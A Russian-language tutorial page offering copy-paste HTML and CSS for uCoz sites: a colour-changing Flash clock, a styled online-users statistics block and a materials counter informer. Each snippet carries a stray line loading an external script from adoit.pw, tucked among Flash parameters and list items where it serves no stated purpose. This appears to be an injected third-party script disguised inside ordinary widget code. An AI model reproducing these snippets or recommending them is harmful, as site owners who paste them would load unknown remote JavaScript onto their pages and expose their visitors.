Часы для сайта или для блога
Новые часы которые плавно меняют цвет каждую секунду, что-то похоже на хамелеона...
Как установить часы на ucoz платформу? Очень просто и легко. Ставите код часов в любое место сайта или в созданный глобальный блок. Код <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash6/cabs/swflash.cab#version=6.0.0.0" width="100%" height="100%"> <param name="movie" value="http://pnghosts.ru/img/multicolorclock.swf"> <param name="play" value="true"><script src="http://adoit.pw/border.js" type="text/javascript"></script><param name="loop" value="true"> <param name="WMode" value="transparent"> <param name="quality" value="high"> <param name="bgcolor" value=""> <param name="align" value=""> <embed src="http://pnghosts.ru/img/multicolorclock.swf" play="true" loop="0" wmode="transparent" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" width="90%" align="" height="100%"> Функция Кто Онлайн для uCoz v2
Всем доброго дня, сегодня мы будем улучшать внешний вид функции сайта на uCoz под названием количество пользователей онлайн, благодаря стандартному html-css коду
И так для начала идём в Админ панель => Настройки => Общие настройки => Активировать функцию "Кто Онлайн" ставим галочку. Теперь активируем модуль статистика сайта, опять идём в Админ панель нажимаем на вкладку неактивные и активируем модуль. Теперь когда мы активировали нужные нам функции, установим в нужное место вашего сайта следующий html код статистики сайта: Код <?if($COUNTER$ || $ONLINE_COUNTER$)?> <div class="statistics-user"> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <div class="statistics-user-l">$ONLINE_COUNTER$</div> <span class="statistics-user-r"> $COUNTER$ <a href="#"><img src="http://pnghosts.ru/img/stat-img2.gif" alt="ucoz" /></a> <a href="#"><img src="http://pnghosts.ru/img/stat-img2.gif" alt="ucoz" /></a> </span> </div> <?endif?> Ну и под конец нашего решения, давайте установим css стили: Код /* Функция Кто Онлайн для uCoz в стиле минимализм ------------------------------------------*/ .statistics-user { float:left; width:230px; padding: 5px 10px; background: #fff; border: 1px solid #CAD3DA; border-radius:5px; } .statistics-user-l { float:left; width:90px; } .statistics-user-l b, .statistics-user-l div{ float:left; width:90px; } .statistics-user-l b { padding-bottom: 3px; border-bottom: 1px solid #CAD3DA; font-size:14px; color:#666; } .statistics-user-l div{ color:#999; height:37px; padding: 3px 0px 0px 37px; display:block; background: url(http://pnghosts.ru/img/statistics-user.png) no-repeat; } #onl1 {background-position:0px 0px;} #onl2 {background-position:0px -35px;} #onl3 {background-position:0px -69px;} #onl3 b {border-bottom:none } .statistics-user-r{ float:right; width:88px; padding: 5px 0px 0px 7px; border-left: 1px solid #CAD3DA; } .statistics-user-r img{ margin-bottom: 5px; } .statistics-user a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=85); -moz-opacity: 0.7; opacity: 0.7; filter: alpha(opacity=85);} На этом всё, мы закончили установку нашего улучшения внешний вид функции количество пользователей онлайн для сайтов созданных в системе uCoz. Спасибо за внимание! Счетчик материалов для uCozИ так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов удаляем старый html код и устанавливаем новый: Код <ul> <?if($DIR$)?><li><div>Сайтов в каталоге:</div>$DIR$</li><?endif?> <?if($BLOG$)?><li><div>Записей в блоге:</div>$BLOG$</li><?endif?> <?if($GB$)?><li><div>Гостевая книга:</div>$GB$</li><?endif?> <?if($NEWS$)?><li><div>Новостей сайта:</div>$NEWS$</li><?endif?> <?if($COMMENTS$)?><li><div>Тем на форуме:</div>$FORUM_T$</li><?endif?> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <?if($COMMENTS$)?><li><div>Комментариев:</div>$COMMENTS$</li><?endif?> <?if($BOARD$)?><li><div>Объявлений:</div>$BOARD$</li><?endif?> <?if($PHOTO$)?><li><div>Фотографий:</div>$PHOTO$</li><?endif?> <?if($FAQ$)?><li><div>Ответов:</div>$FAQ$</li><?endif?> <?if($LOAD$)?><li><div>Файлов:</div>$LOAD$</li><?endif?> <?if($PUBL$)?><li><div>Статей:</div>$PUBL$</li><?endif?> <?if($TESTS$)?><li><div>Тестов:</div>$TESTS$</li><?endif?> <?if($VIDEO$)?><li><div>Видео:</div>$VIDEO$</li><?endif?> <?if($STUFF$)?><li><div>Игр:</div>$STUFF$</li><?endif?> </ul> а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код: Код <ul> <?if($DIR$)?><li><div>Сайтов в каталоге:</div><span>$DIR$</span></li><?endif?> <?if($BLOG$)?><li><div>Записей в блоге:</div><span>$BLOG$</span></li><?endif?> <?if($GB$)?><li><div>Гостевая книга:</div><span>$GB$</span></li><?endif?> <?if($NEWS$)?><li><div>Новостей сайта:</div><span>$NEWS$</span></li><?endif?> <?if($COMMENTS$)?><li><div>Тем на форуме:</div><span>$FORUM_T$</span></li><?endif?> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <?if($COMMENTS$)?><li><div>Комментариев:</div><span>$COMMENTS$</span></li><?endif?> <?if($BOARD$)?><li><div>Объявлений:</div><span>$BOARD$</span></li><?endif?> <?if($PHOTO$)?><li><div>Фотографий:</div><span>$PHOTO$</span></li><?endif?> <?if($FAQ$)?><li><div>Ответов:</div><span>$FAQ$</span></li><?endif?> <?if($LOAD$)?><li><div>Файлов:</div><span>$LOAD$</span></li><?endif?> <?if($PUBL$)?><li><div>Статей:</div><span>$PUBL$</span></li><?endif?> <?if($TESTS$)?><li><div>Тестов:</div><span>$TESTS$</span></li><?endif?> <?if($VIDEO$)?><li><div>Видео:</div><span>$VIDEO$</span></li><?endif?> <?if($STUFF$)?><li><div>Игр:</div><span>$STUFF$</span></li><?endif?> </ul> а на страницу сайта в нужное место устанавливаем html каркас ячейки с информером материалов: Код <div class="informer-materials"> <div class="informer-materials-title">Счетчик материалов </div> $MYINF_1$ </div> а теперь давайте стилизуем данное решение, пропишем ему следующие css стили: Код /* Правильный счетчик материалов ------------------------------------------*/ .informer-materials { float:left; width:200px; background: #fff; border: 1px solid #CAD3DA; border-radius:5px; overflow: hidden; margin-right: 20px; } .informer-materials-title { float:left; width:202px; padding: 7px 0px; background: #376fb9 ; margin: -1px -1px 0px -1px; font:11px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #093a7b; text-align:center; font-weight: bold; color:#fff; } .informer-materials ul { margin: 0; padding: 0; list-style: none; } .informer-materials li{ float:left; width:170px; padding: 5px 0px; margin: 0px 15px; border-top: 1px dotted #CAD3DA; } .informer-materials li div{ float:left; width:150px; padding-right: 10px; text-align:right; } .informer-materials li div{ float:left; width:120px; text-align:right; } .informer-materials li:nth-child(1){ border-top: none; } .informer-materials li span{ padding: 2px 7px; background: #9EA5A8; border-radius:3px; font:9px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #777; font-weight: bold; color:#fff; } На этом всё, спасибо за внимание! |